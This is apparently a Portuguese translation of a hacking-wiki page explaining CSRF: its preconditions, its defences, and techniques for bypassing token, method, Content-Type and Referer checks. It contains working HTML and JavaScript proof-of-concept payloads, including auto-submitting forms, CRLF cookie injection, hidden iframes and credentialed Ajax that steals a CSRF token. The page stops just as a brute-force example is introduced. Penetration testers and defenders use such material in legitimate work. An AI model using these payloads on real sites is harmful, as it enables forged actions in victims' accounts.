Junte-se ao HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!
Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
Junte-se a nós noDiscord e comece a colaborar com os melhores hackers hoje!
Cross-Site Request Forgery (CSRF) Explicado
Cross-Site Request Forgery (CSRF) é um tipo de vulnerabilidade de segurança encontrada em aplicações web. Ela permite que atacantes realizem ações em nome de usuários desavisados, explorando suas sessões autenticadas. O ataque é executado quando um usuário, que está logado na plataforma de uma vítima, visita um site malicioso. Este site então aciona requisições para a conta da vítima através de métodos como executar JavaScript, enviar formulários ou buscar imagens.
Pré-requisitos para um Ataque CSRF
Para explorar uma vulnerabilidade CSRF, várias condições devem ser atendidas:
Identificar uma Ação Valiosa: O atacante precisa encontrar uma ação que vale a pena explorar, como mudar a senha do usuário, email ou elevar privilégios.
Gerenciamento de Sessão: A sessão do usuário deve ser gerenciada exclusivamente através de cookies ou do cabeçalho de Autenticação Básica HTTP, pois outros cabeçalhos não podem ser manipulados para esse propósito.
Ausência de Parâmetros Imprevisíveis: A requisição não deve conter parâmetros imprevisíveis, pois eles podem impedir o ataque.
Verificação Rápida
Você pode capturar a requisição no Burp e verificar as proteções CSRF e para testar do navegador você pode clicar em Copiar como fetch e verificar a requisição:
Defendendo Contra CSRF
Várias contramedidas podem ser implementadas para proteger contra ataques CSRF:
Verificação do Usuário: Solicitar a senha do usuário ou resolver um captcha pode confirmar a intenção do usuário.
Verificando Cabeçalhos Referrer ou Origin: Validar esses cabeçalhos pode ajudar a garantir que as requisições estão vindo de fontes confiáveis. No entanto, a elaboração cuidadosa de URLs pode contornar verificações mal implementadas, como:
Usar http://mal.net?orig=http://example.com (URL termina com a URL confiável)
Usar http://example.com.mal.net (URL começa com a URL confiável)
Modificando Nomes de Parâmetros: Alterar os nomes dos parâmetros em requisições POST ou GET pode ajudar a prevenir ataques automatizados.
Tokens CSRF: Incorporar um token CSRF único em cada sessão e exigir esse token em requisições subsequentes pode mitigar significativamente o risco de CSRF. A eficácia do token pode ser aumentada pela imposição de CORS.
Compreender e implementar essas defesas é crucial para manter a segurança e integridade das aplicações web.
Bypass de Defesas
De POST para GET
Talvez o formulário que você deseja abusar esteja preparado para enviar uma requisição POST com um token CSRF, mas você deve verificar se um GET também é válido e se quando você envia uma requisição GET o token CSRF ainda está sendo validado.
Falta de token
As aplicações podem implementar um mecanismo para validar tokens quando eles estão presentes. No entanto, uma vulnerabilidade surge se a validação for completamente ignorada quando o token está ausente. Os atacantes podem explorar isso removendo o parâmetro que carrega o token, não apenas seu valor. Isso permite que eles contornem o processo de validação e conduzam um ataque de Cross-Site Request Forgery (CSRF) de forma eficaz.
Token CSRF não está vinculado à sessão do usuário
Aplicações que não vinculam tokens CSRF às sessões de usuário apresentam um risco de segurança significativo. Esses sistemas verificam tokens contra um pool global em vez de garantir que cada token esteja vinculado à sessão iniciadora.
Veja como os atacantes exploram isso:
Autenticar usando sua própria conta.
Obter um token CSRF válido do pool global.
Usar esse token em um ataque CSRF contra uma vítima.
Essa vulnerabilidade permite que os atacantes façam requisições não autorizadas em nome da vítima, explorando o mecanismo de validação de token inadequado da aplicação.
Bypass de Método
Se a requisição estiver usando um "método estranho", verifique se a funcionalidade de substituição de método está funcionando. Por exemplo, se estiver usando um método PUT, você pode tentar usar um método POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT
Isso também pode funcionar enviando o parâmetro _method dentro de uma requisição POST ou usando os cabeçalhos:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Bypass de token de cabeçalho personalizado
Se a requisição estiver adicionando um cabeçalho personalizado com um token à requisição como método de proteção CSRF, então:
Teste a requisição sem o Token Personalizado e também o cabeçalho.
Teste a requisição com o mesmo comprimento exato, mas um token diferente.
Token CSRF é verificado por um cookie
As aplicações podem implementar proteção CSRF duplicando o token em um cookie e em um parâmetro de requisição ou configurando um cookie CSRF e verificando se o token enviado no backend corresponde ao cookie. A aplicação valida requisições verificando se o token no parâmetro de requisição alinha-se com o valor no cookie.
No entanto, esse método é vulnerável a ataques CSRF se o site tiver falhas que permitam a um atacante definir um cookie CSRF no navegador da vítima, como uma vulnerabilidade CRLF. O atacante pode explorar isso carregando uma imagem enganosa que define o cookie, seguida pela iniciação do ataque CSRF.
Abaixo está um exemplo de como um ataque poderia ser estruturado:
<html><!-- CSRF Proof of Concept - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formaction="https://example.com/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="hidden"name="csrf"value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /><inputtype="submit"value="Submit request" /></form><img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body></html>
Observe que se o token csrf estiver relacionado com o cookie de sessão, este ataque não funcionará porque você precisará definir a sessão da vítima, e, portanto, estará atacando a si mesmo.
Mudança de Content-Type
De acordo com isso, para evitar requisições preflight usando o método POST, estes são os valores de Content-Type permitidos:
application/x-www-form-urlencoded
multipart/form-data
text/plain
No entanto, observe que a lógica do servidor pode variar dependendo do Content-Type utilizado, então você deve tentar os valores mencionados e outros como application/json,text/xml, application/xml.
Exemplo (de aqui) de envio de dados JSON como text/plain:
Ao tentar enviar dados JSON via uma requisição POST, usar Content-Type: application/json em um formulário HTML não é diretamente possível. Da mesma forma, utilizar XMLHttpRequest para enviar esse tipo de conteúdo inicia uma requisição preflight. No entanto, existem estratégias para potencialmente contornar essa limitação e verificar se o servidor processa os dados JSON independentemente do Content-Type:
Use Tipos de Conteúdo Alternativos: Empregue Content-Type: text/plain ou Content-Type: application/x-www-form-urlencoded definindo enctype="text/plain" no formulário. Essa abordagem testa se o backend utiliza os dados independentemente do Content-Type.
Modifique o Tipo de Conteúdo: Para evitar uma requisição preflight enquanto garante que o servidor reconheça o conteúdo como JSON, você pode enviar os dados com Content-Type: text/plain; application/json. Isso não aciona uma requisição preflight, mas pode ser processado corretamente pelo servidor se estiver configurado para aceitar application/json.
Utilização de Arquivo SWF Flash: Um método menos comum, mas viável, envolve usar um arquivo SWF flash para contornar tais restrições. Para uma compreensão mais profunda dessa técnica, consulte este post.
Bypass de verificação de Referer / Origem
Evitar o cabeçalho Referer
As aplicações podem validar o cabeçalho 'Referer' apenas quando ele está presente. Para evitar que um navegador envie esse cabeçalho, a seguinte tag meta HTML pode ser usada:
<metaname="referrer"content="never">
Isso garante que o cabeçalho 'Referer' seja omitido, potencialmente contornando as verificações de validação em algumas aplicações.
Bypasses de Regexp
Para definir o nome do domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
<html><!-- Referrer policy needed to send the qury parameter in the referrer --><head><metaname="referrer"content="unsafe-url"></head><body><script>history.pushState('','','/')</script><formaction="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="asd@asd.asd" /><inputtype="submit"value="Submit request" /></form><script>// You need to set this or the domain won't appear in the query of the referer headerhistory.pushState("","","?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")document.forms[0].submit();</script></body></html>
Método HEAD bypass
A primeira parte de este CTF writeup explica que o código-fonte do Oak, um roteador, está configurado para tratar requisições HEAD como requisições GET sem corpo de resposta - uma solução comum que não é exclusiva do Oak. Em vez de um manipulador específico que lida com requisições HEAD, elas são simplesmente enviadas para o manipulador GET, mas o aplicativo apenas remove o corpo da resposta.
Portanto, se uma requisição GET estiver sendo limitada, você pode simplesmente enviar uma requisição HEAD que será processada como uma requisição GET.
Exemplos de Exploração
Exfiltrando o Token CSRF
Se um token CSRF estiver sendo usado como defesa, você pode tentar exfiltrá-lo abusando de uma vulnerabilidade de XSS ou uma vulnerabilidade de Dangling Markup.
GET usando tags HTML
<imgsrc="http://google.es?param=VALUE"style="display:none" /><h1>404 - Page not found</h1>The URL you are requesting is no longer available
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('','','/')</script><formmethod="GET"action="https://victim.net/email/change-email"><inputtype="hidden"name="email"value="some@email.com" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Formulário de solicitação POST
<html><body><script>history.pushState('','','/')</script><formmethod="POST"action="https://victim.net/email/change-email"id="csrfform"><input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<inputtype="submit"value="Submit request" /><imgsrc=xonerror="csrfform.submit();" /> <!-- Way 2 to autosubmit --></form><script>document.forms[0].submit(); //Way 3 to autosubmit</script></body></html>
Solicitação POST de formulário através de iframe
<!--The request is sent through the iframe withuot reloading the page--><html><body><iframestyle="display:none"name="csrfframe"></iframe><formmethod="POST"action="/change-email"id="csrfform"target="csrfframe"><inputtype="hidden"name="email"value="some@email.com"autofocusonfocus="csrfform.submit();" /><inputtype="submit"value="Submit request" /></form><script>document.forms[0].submit();</script></body></html>
Requisição POST Ajax
<script>var xh;if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safarixh=newXMLHttpRequest();}else{// code for IE6, IE5xh=newActiveXObject("Microsoft.XMLHTTP");}xh.withCredentials =true;xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");</script><script>//JQuery version$.ajax({type:"POST",url:"https://google.com",data:"param=value¶m2=value2"})</script>
Solicitação POST de formulário de dentro de um iframe
<--! expl.html --><bodyonload="envia()"><formmethod="POST"id="formulario"action="http://aplicacion.example.com/cambia_pwd.php"><inputtype="text"id="pwd"name="pwd"value="otra nueva"></form><body><script>functionenvia(){document.getElementById("formulario").submit();}</script><!-- public.html --><iframesrc="2-1.html"style="position:absolute;top:-5000"></iframe><h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Roubar o token CSRF e enviar uma solicitação POST
functionsubmitFormWithTokenJS(token) {var xhr =newXMLHttpRequest();xhr.open("POST",POST_URL,true);xhr.withCredentials =true;// Send the proper header information along with the requestxhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");// This is for debugging and can be removedxhr.onreadystatechange=function() {if(xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {//console.log(xhr.responseText);}}xhr.send("token="+ token +"&otherparama=heyyyy");}functiongetTokenJS() {var xhr =newXMLHttpRequest();// This tels it to return it as a HTML documentxhr.responseType ="document";xhr.withCredentials =true;// true on the end of here makes the call asynchronousxhr.open("GET",GET_URL,true);xhr.onload=function (e) {if (xhr.readyState ===XMLHttpRequest.DONE&&xhr.status ===200) {// Get the document from the responsepage =xhr.response// Get the input elementinput =page.getElementById("token");// Show the token//console.log("The token is: " + input.value);// Use the token to submit the formsubmitFormWithTokenJS(input.value);}};// Make the requestxhr.send(null);}varGET_URL="http://google.com?param=VALUE"varPOST_URL="http://google.com?param=VALUE"getTokenJS();
Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax
O código pode ser usado para forçar um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar um possível bloqueio de IP):